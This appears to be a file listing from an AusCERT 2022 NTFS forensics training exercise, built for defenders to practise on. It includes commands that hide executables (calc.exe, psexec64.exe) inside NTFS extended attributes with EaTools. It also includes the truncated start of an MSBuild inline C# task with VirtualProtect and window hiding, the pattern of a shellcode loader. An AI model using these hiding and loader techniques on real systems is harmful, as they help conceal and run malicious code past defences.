Auscert 2022 NTFS Exercise setup

extended_attributes.ps1

 ### Extended Attribute 

# 1. Download https://github.com/jschicht/EaTools to C:\PerfLogs (this step was run previously if you ran our setup script)
https://github.com/jschicht/EaTools/raw/master/EaInject64.exe
https://github.com/jschicht/EaTools/raw/master/EaQuery64.exe

# 2. Add EA to file
copy C:\Windows\System32\calc.exe C:\PerfLogs\calc.exe
C:\PerfLogs\EaInject64.exe /Payload:C:\PerfLogs\calc.exe /Container:C:\PerfLogs\just_a_file.txt /Mode:0 /Identifier:NOTHINGTOSEEHERE

# Add large file over multiple EAs
C:\PerfLogs\EaInject64.exe /Payload:C:\PerfLogs\psexec64.exe /Container:C:\PerfLogs\just_a_folder /Mode:2 /Identifier:"Split EAs" 

kUgJI.TMP

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Debug">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
			using System;
			using System.Reflection;
			using System.Diagnostics;
			using System.Runtime.InteropServices;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
			using System.Text;
				
			public class ClassExample :  Task, ITask
			{
				[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
			    public delegate Int32 runD();

			    [DllImport("kernel32.dll")]
			    private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
			        uint flNewProtect, out uint lpflOldProtect);

			    [DllImport("kernel32.dll")]
			    static extern IntPtr GetConsoleWindow();

			    [DllImport("user32.dll")]
			    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

			    const int SW_HIDE = 0;
			    const int SW_SHOW = 5;


				public override bool Execute()
				{
					Start();
					return true;
				}

				 private void Start()
				    { 

msbuild.yara

setup.ps1

timestomp.ps1